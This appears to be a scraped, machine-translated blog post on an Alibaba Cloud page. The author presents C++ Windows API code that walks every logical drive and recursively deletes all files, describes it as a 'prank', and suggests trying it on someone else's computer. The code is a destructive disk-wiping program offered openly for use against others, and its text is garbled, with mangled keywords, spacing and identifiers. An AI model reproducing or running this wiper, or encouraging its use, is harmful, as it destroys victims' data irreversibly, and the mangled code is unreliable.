Use Windows API to traverse and delete all files

Source: Internet
Author: User
Tags bitset

I have been learning windows APIs recently and have made some interesting things (a little prank )...

The following is a small program I have learned to delete all files on the hard disk ....

# Include <windows. h> # include <stdio. h ># include <bitset> using namespace STD; void delfile (char * cfilepath) {win32_find_data data; handle hfind; char cfullpath [100]; char cnewpath [100]; sprintf_s (cfullpath, "% s \\*. * ", cfilepath); hfind = findfirstfile (cfullpath, & data); do {If ((! Strcmp (".", Data. cfilename) | (! Strcmp (".. ", Data. cfilename) {continue;} If (data. dwfileattributes = file_attribute_directory) {sprintf_s (cnewpath, "% s \ % s", cfilepath, Data. cfilename); delfile (cnewpath); // recursive} // MessageBox (null, Data. cfilename, "look", 0); sprintf_s (cfullpath, "% s \ % s", cfilepath, Data. cfilename); deletefile (cfullpath);} while (findnextfile (hfind, & Data);} int winapi winmain (hinstance, // handle to current I Nstance hinstance hprevinstance, // handle to previous instance lpstr lpcmdline, // command line int ncmdshow/show state) {DWORD dwdrive = getlogicaldrives (); bitset <32> bit (dwdrive); char path [3] = {'A', ':', '\ 0'}; For (int ix = 0; ix! = 32; ix ++) {If (bit. Test (IX) {path [0] = 'A' + ix; delfile (PATH) ;}} return 0 ;}

Finally, the getlogicaldrives API function is used to determine the number of partitions in the Local Machine. Then, sprintf is used to format the partitions as the delfile parameter.

If you have the chance to get a try on someone else's computer ....

 

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.